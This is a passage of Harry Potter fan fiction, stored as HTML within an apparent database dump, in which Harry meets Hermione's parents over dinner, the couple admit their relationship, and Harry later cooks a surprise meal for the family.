it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">On impulse, Harry gathered his empty plate and glass and\nheaded towards the kitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where are you going, Harry?&#8221; Mrs. Granger asked.&nbsp; The young man froze.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I was going to clean these.&#8221; The older woman smiled at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please Harry, sit back down, you&#8217;ve barely said a word\nthroughout dinner.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He returned to the table and put his things back down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry, it&#8217;s just that&#8230;I&#8217;ve never been asked anything at\nthe dinner table.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That brought a surprised look to the entire Granger family.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you serious, Harry?&#8221; Mr. Granger asked this time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes sir, I am.&nbsp; When\nmy aunt and uncle and my cousin ate dinner, they completely ignored me.&nbsp; When I tried to say something, they just\nacted like I wasn&#8217;t there; so, after a while, I just learned to keep my mouth shut.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s terrible, Harry!&#8221; Mrs. Granger gasped. &#8220;How could\nthey be so cruel to you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry began to feel slightly uncomfortable.&nbsp; He had both Mr. and Mrs. Granger staring at\nhim intently, and even Hermione was looking at him anxiously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;To be quite honest, ma&#8217;am, my aunt and uncle hated me from\nthe moment I was left on their doorstep.&nbsp;\nThey knew that I wasn&#8217;t &#8216;normal&#8217;, and that was why they hated me so\nmuch.&nbsp; They hated anything that had to\ndo with magic or wizardry, and that included me.&nbsp; They never told me about who my parents were; I wasn&#8217;t told until\nHagrid came and gave me my letter to Hogwarts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But still, you can&#8217;t treat a child like that!&#8221; Mrs. Granger\nsaid rather angrily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione watched Harry with loving eyes.&nbsp; She knew that he&#8217;d had a rough childhood,\nbut he&#8217;d never really given any details about it.&nbsp; She was starting to understand where Harry&#8217;s inner strength truly\ncame from.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As far as I&#8217;m concerned, my life with them is over; there&#8217;s\nno use hating them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re quite the man, Harry.&nbsp; Not many people can turn the other cheek,&#8221; Mr. Granger stated\nwith a bit of pride in his voice.&nbsp; His\nwife decided to change the subject.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So Hermione&#8230;&#8221; Mrs. Granger interrupted, &#8220;&#8230;tell me, when did\nyou two start seeing each other?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you talking about?&#8221; Hermione gulped as her cheeks\ntinted, and Harry&#8217;s face flushed slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t try to hide it, young lady, a mother knows these\nthings.&nbsp; I don&#8217;t have to be psychic to\nsee the connection between you two; every time you&#8217;re together, there&#8217;s a glow\nthat emits from the both of you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The teenagers looked at one another and figured now was a\ntime as good as any.&nbsp; Harry decided to\nstart.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, we see each other every day because we have the same\nclasses and because we&#8217;re best friends.&nbsp;\nHowever, we didn&#8217;t become a couple until early last term.&nbsp; We&#8217;d always looked out for one another, and\nit just sort of happened.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You see, Harry had been hurt very badly, and when I saw him\nlying there in the hospital, I finally realized how much he meant to me.&nbsp; He was my best friend, but he was so much\nmore than that to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two gazed into one another&#8217;s eyes, and you could almost\nsee the love flowing between them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mrs. Granger had a small smile on her face as she gazed at\nthe young couple.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;we should clean up now.&nbsp; Hermione, you can give me a hand, and John, why don&#8217;t you take\nHarry into the living room.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure dear, c&#8217;mon Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione followed her mother into the kitchen with an armful\nof dishes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mom, are you mad?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;About what, sweetie?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That I didn&#8217;t tell you about Harry and I.&#8221; Mrs. Granger put\nthe dishes into the sink and turned towards her daughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No Hermione, I&#8217;m not mad; he&#8217;s a very nice, young man.&nbsp; You pick your boyfriends well, I see.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;s more than just my boyfriend, mom; he&#8217;s my best\nfriend.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s even better, honey, friendship is often the best\nbase to romance.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8217;s just so incredible!&nbsp; Every time I&#8217;m with him, my heartbeat triples, and my skin gets\ngoosebumps.&nbsp; And when he kisses me, I\nfeel like I&#8217;m about to melt onto the floor.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mrs. Granger actually started chuckling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sounds like you&#8217;re in love, my daughter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I am, mom, I know I am.&nbsp;\nI love him so much, and he loves me just the same.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I could see that by the way you were looking at each\nother.&nbsp; You had the same look your\nfather and I had when we were your age.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled brightly; she was glad that her mom was so\naccepting of Harry &#8211; and after only one day!&nbsp;\nShe couldn&#8217;t really blame her though; Harry could charm the socks off of\nanyone and not even know it.&nbsp; There was\none other thing that she needed to tell her mom, and it was not going to be\neasy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mom, there&#8217;s something else I have to tell you.&nbsp; It&#8217;s about Harry and I; we&#8217;ve&#8230;well&#8230; you\nknow&#8230;&#8221; Mrs. Granger&#8217;s eyes widened in shock, and she stared at her daughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wasn&#8217;t expecting this, Hermione, I assumed that you two\nwere dating, but I didn&#8217;t realize that you&#8217;d actually slept together.&nbsp; When did it happen?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The first time was on my birthday earlier this year, and\nthe second was about two weeks ago at school.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Were you two careful?&#8221; Hermione drew back slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If you&#8217;re asking me if I&#8217;m pregnant, the answer is no.&nbsp; Mom, I know this is a shock, but I want you\nto understand that we didn&#8217;t do this on a whim.&nbsp; Harry and I have been close for the last seven years, and when we\nbecame a couple, it was just another step we took.&nbsp; I wouldn&#8217;t have given myself to him unless I was one hundred\npercent sure.&nbsp; He was my first, and I\nwas his.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It sounds like you two have really thought this through; I\nshould have known you would.&nbsp; You always\nthink things through, Hermione, and now, I know you thought this through as\nwell.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Opening her arms, Mrs. Granger gave her daughter a hug, and\nHermione smiled into her mother&#8217;s chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Meanwhile, Harry took a seat in one of the recliners, and\nMr. Granger took a seat next to him.&nbsp;\nThe older man clasped his hands together and gazed at the young wizard.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;I&#8217;m going to ask you something, and I would like a\ntruthful answer.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course, sir.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Have you been intimate with my daughter?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There it was &#8211; as plain as day.&nbsp; No nonsense&#8230;no deception&#8230;just blunt and to the point.&nbsp; But Harry would not lie about his\nrelationship with Hermione.&nbsp; He had\nwanted to wait for a little while, but fate had cut his time short.&nbsp; So, he squared his shoulders and looked John\nGranger right in the eye.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, Mr. Granger, I have.&#8221; He never broke eye contact, and\nthe older man glared at him slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I see, how often?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Only twice.&nbsp; Once on\nher birthday this past year, and once a few weeks ago after a ball at\nHogwarts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So I take it you&#8217;re very fond of her.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No sir, it&#8217;s much more than that.&nbsp; To be quite frank, I&#8217;m in love with Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How do you know that?&#8221; Mr. Granger countered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t explain it; I just know it.&nbsp; No one makes me feel the way she does.&nbsp; Every time I see her, I want to hold her in\nmy arms forever, and every time she smiles, it melts my heart.&nbsp; I&#8217;ve never loved anyone except Hermione.&nbsp; I love her because she&#8217;s intelligent,\nbeautiful, compassionate, funny, sweet, and occasionally sassy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sounds like you know her pretty well then.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;d like to think so, sir.&nbsp;\nHermione has supported me through so much; she&#8217;s always been there for\nme.&nbsp; Likewise, I&#8217;ve always tried to be\nthere for her and protect her to make sure that she&#8217;s always safe.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re quite a young man, Harry, I can see that you care\nvery deeply about my daughter.&nbsp; However,\nyou must understand my nervousness; you&#8217;re the first boy that she&#8217;s ever\nbrought home to meet us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes sir, I understand, I know this is probably not what you\nwanted to hear, but I won&#8217;t lie about Hermione and I.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s a good standard, Harry, keep it.&nbsp; And by the way, stop calling me &#8216;sir&#8217;;\nyou&#8217;re making me feel old.&nbsp; Just call me\nJohn.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you through lecturing him, John?&#8221; a voice came from the\nkitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, you can come in now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mrs. Granger and Hermione walked in carrying a tray of\ndesserts.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay dad, what&#8217;d you do to him?&#8221; Hermione said with her\nhands on her hips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing Hermione, you can have him back.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sitting down on the loveseat, Hermione patted the seat\nbeside her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;C&#8217;mere,&#8221; she motioned to Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Trying to hold back a grin, he stood up and padded across\nthe carpet.&nbsp; He plopped down beside her,\nand she looked him up and down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, let&#8217;s see&#8230;no bumps&#8230;no bruises&#8230;you&#8217;re clean.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why thank you for that kind evaluation.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hush you!&#8221; Hermione leaned up and whispered in his ear,\n&#8220;We&#8217;re all clear, Harry.&#8221; He reached down and took her hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know, sweetheart, I know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione blushed deeply; she hadn&#8217;t expected Harry to call\nher that in front of her parents.&nbsp; Mrs.\nGranger took the chair beside her husband when an idea came to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;John, why don&#8217;t you light the fireplace?&#8221; she advised\npointing to the large fireplace in the center wall of the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure, why not?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mr. Granger bent down and set the logs in place.&nbsp; Grabbing the lighter off the mantle above,\nhe clicked it on to get a spark.&nbsp; After\nseveral moments, nothing happened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, we&#8217;ve got two problems.&nbsp; One, the lighter is out of fuel, and two, the logs were too fresh\nand damp to light.&nbsp; Sorry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;May I try?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure, but I&#8217;m not quite sure what you plan to do,&#8221; Mr.\nGranger answered.&nbsp; He offered Harry the\nlighter, but the young man shook his head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No thank you, I won&#8217;t need that.&#8221; Hermione suddenly knew\nwhat he was doing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; she gasped, and he turned towards her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Relax Herm, there&#8217;s nothing to worry about.&nbsp; I suggest you move back,&#8221; he instructed Mr.\nGranger.&nbsp; The older man returned to his\nseat and looked at Harry curiously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked at the fireplace and focused on the logs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Inflamare!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mr. and Mrs. Granger were shocked to see their fireplace\nerupt in flames as the logs ignited.&nbsp;\nThey both stared at Harry, and Hermione glared at him in annoyance.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You idiot, you could get in trouble for using magic!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, I won&#8217;t, I have permission to use magic &#8211; in\nmoderation.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh huh, I got it before I left Hogwarts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why didn&#8217;t you say anything?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wanted to surprise you,&#8221; he laughed.&nbsp; Harry noticed that Hermione&#8217;s parents were\nstill staring at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;what did you just do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He cast a spell, mom.&nbsp;\nThat was a fire spell to ignite the logs,&#8221; Hermione explained.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My goodness, I thought the house was going to explode or\nsomething.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I apologize, Mrs. Granger, I didn&#8217;t mean to frighten either\nof you; I just wanted to help.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two grown-ups looked at one another and actually started\nlaughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s all right, Harry, but just give us fair warning next\ntime,&#8221; Mr. Granger chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With that, the two couples sat back to enjoy their dessert\nby the firelight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(161, 3, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry couldn&#8217;t remember ever having a better summer than\nthis.&nbsp; Hermione&#8217;s parents were very kind\nto him, and he enjoyed every minute he spent at their home.&nbsp; He and Hermione actually spent a lot of time\nalone together because Mr. and Mrs. Granger had to work during the day.&nbsp; They owned their own dental office, and\nsummer was a busy time for them.&nbsp; The\ntwo teenagers didn&#8217;t mind at all.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Honey, I&#8217;m home!&#8221; Hermione giggled as she entered the front\ndoor.&nbsp; In her hands was a grocery\nbag.&nbsp; Harry had sent her out to get a\nfew things, but he wouldn&#8217;t tell her why.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;In here, sweetheart!&#8221; a voice called from the kitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Uh oh, if he&#8217;s messed up the kitchen, mom&#8217;s gonna kill\nhim.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, you better not have made a mess, or my mom&#8217;s gonna\ngo nuts!&#8221; she gasped as she walked in.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her jaw dropped at the site in front of her.&nbsp; There was Harry Potter &#8211; probably the most\npowerful wizard in the world &#8211; wearing an apron and buzzing around the kitchen.&nbsp; His t-shirt had red splotches, and his dark\npants had flour handprints on them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you find everything?&#8221; he asked hopefully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you doing?&#8221; She sniffed the air, &#8220;And what smells\nso good?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh no, that&#8217;s a surprise, but you can help me with\nsomething else.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And what is that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bring the bag over, and I&#8217;ll show you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione handed him the paper sack, and Harry drew out the\ningredients he&#8217;d asked her to get.&nbsp; He\nset them on the counter and wiped his sticky hands on the apron he was wearing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you smiling at?&#8221; he quipped, noting the cheesy\ngrin on her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing, I&#8217;ve just never seen you in an apron.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh yeah, well just for that, you&#8217;re not gonna find out what\nI&#8217;m doing.&nbsp; Now, out!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, just a little peak,&#8221; she teased and slithered\ntowards the oven, but Harry cut her off seeing the sly smile on her lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I said no!&#8221; he said forcibly and pointed to the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmmph, fine, you can do all the work yourself,&#8221; she fumed\nand marched into the living room.&nbsp; Harry\njust grinned and went back to work.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Three hours, Mr. and Mrs. Granger came home.&nbsp; Upon entering the house, they immediately\nnoticed a delicious aroma in the air.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow, something smells good in here,&#8221; Mr. Granger stated,\nand his stomach growled in agreement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;In here, mom,&#8221; she called and popped out of the living\nroom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sweetie, what&#8217;s going here?&nbsp; What smells so wonderful?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, it&#8217;s Harry, he&#8217;s been in the kitchen for the last\nseveral hours cooking, but the jerk won&#8217;t tell me what he&#8217;s making!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8217;s cooking,&#8221; both adults gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yup, he even had me go out shopping for him earlier, and\nsince then, he&#8217;s barricaded himself in there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm, I better check on him then,&#8221; Mrs. Granger advised.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry opened the oven to check on the dinner he&#8217;d made when\nMelinda Granger&#8217;s head popped into the kitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh hello Mrs. Granger,&#8221; he said with a smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Melinda looked around to see various bowls strewn around the\ncountertop, but her kitchen was still in one piece.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello Harry, what&#8217;s going on in here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione told me that you and Mr. Granger were working late\nthis week so I decided to cook dinner for everyone; I hope you don&#8217;t mind?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Melinda wanted to kiss the boy.&nbsp; She was exhausted from her day at work and didn&#8217;t even want to\nthink about dinner, and here, her prayers were answered by this young man who\nshe hadn&#8217;t even known more than a month.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not a all, Harry, it smells heavenly in here.&nbsp; What exactly is it?&#8221; He just smiled at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s a surprise.&nbsp;\nIf you&#8217;d like to go into the dining room, it&#8217;ll be ready in five\nminutes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I look forward to it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well?&#8221; Hermione asked when her mother returned from the\nkitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He said to sit in the dining room; dinner will ready in\nfive minutes,&#8221; Mrs. Granger answered with a wide smile on her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did he at least say what he made?&#8221; her daughter asked\nrather annoyed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, but I&#8217;m sure it&#8217;ll be good.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;At least he could tell me,&#8221; Hermione pouted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sweetie, don&#8217;t complain, it&#8217;s very rare that you find a man\nwho knows his way around a kitchen,&#8221; her mother laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then,&#8221; John Granger interrupted, &#8220;I suggest we take\nHarry&#8217;s advice and sit down at the table.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry poked his head out of the kitchen to see the Grangers\nseated at the dining room table.&nbsp;\nSmiling widely, he walked in carrying a large platter covered in tin\nfoil.&nbsp; He set in down in the center of\nthe table and shook his hands rapidly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please be careful, that plate&#8217;s a little warm!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s underneath?&#8221; Hermione piped up, glaring at him\nslightly.&nbsp; Harry only smiled at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Go ahead and look, Herm, I&#8217;ll bring the rest out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her mind dripping with curiosity, and her stomach growling\nwith hunger, Hermione nearly shredded the tin foil.&nbsp; On the platter was a gorgeously roasted chicken.</p>\n\n<p 